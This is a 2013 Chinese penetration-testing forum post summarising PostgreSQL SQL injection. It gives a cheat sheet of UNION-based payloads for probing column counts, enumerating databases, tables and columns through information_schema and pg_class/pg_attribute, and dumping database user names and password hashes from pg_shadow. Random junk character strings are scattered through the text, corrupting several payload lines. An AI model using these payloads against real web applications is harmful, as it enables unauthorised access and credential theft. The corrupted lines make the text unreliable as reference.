中国网络渗透测试联盟

标题: postgreSQL注入总结 [打印本页]

作者: admin 时间: 2013-10-13 12:57
标题: postgreSQL注入总结
结合了MSSQL MySQL Oracle的一些特点

支持多语句执行，语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
; k/ n; W3 Y# o+ ?连接符: %20 , + , /**/

内置函数:
7 a2 q% a3 m) |: D! jcurrent_database() //当前数据库名4 B+ W* Y3 G6 o! S
session_user //会话用户
) u1 A( l# }7 p n, P; |current_user //当前数据库用户
0 U4 P8 f* W& Z' x# n5 luser //当前用户
( z# T7 c: y5 cversion() //数据库版本

Union注射:
1 h9 f$ h- G5 f* z, R \4 J5 c% L, }order by n–# p0 {- k3 h* w- x0 @) s
and 1=2 union select null,null,null–- ~) {* r2 ?9 S; o# m. r( y
and 1=2 union select ‘beach’,null,null–
3 V$ n2 [8 ^( H! a2 `& G8 Gand 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
! U. C0 H1 ^) z$ R' t9 Sgroup_concat(table_name)  r4 L5 o8 v* D$ I' H
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–, M  Z; Z* I' {) |' J5 Y  M
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–. t1 {3 N) k3 s$ N7 m0 _  `! O
(老版本)
- o. d7 f+ J) Cpg_class.oid对应pg_attribute.attrelid9 J2 v/ I; c% i9 l% @" z' |  @$ v
pg_class.relname表名
( t8 h5 A- e2 ^1 ]pg_attribute.attname字段名

select relname from pg_class获取表名5 Q; M. Q( K* I' Z7 ?
select oid from pg_class where 条件获取参数1 A; |4 y1 `1 U+ f# P5 B! o5 p
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:6 P( p: i1 Z8 X0 |) o+ ?" U
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
1 b1 I6 T+ p9 q5 g* ~and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–8 g$ a3 x6 a k* o G# o
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
) v/ h1 }8 K# ?, f. M======================================================================
7 v3 C% H+ ~# vand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库" N6 U, E0 i4 U5 @ j9 x, e
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

欢迎光临中国网络渗透测试联盟 (https://cobjon.com/)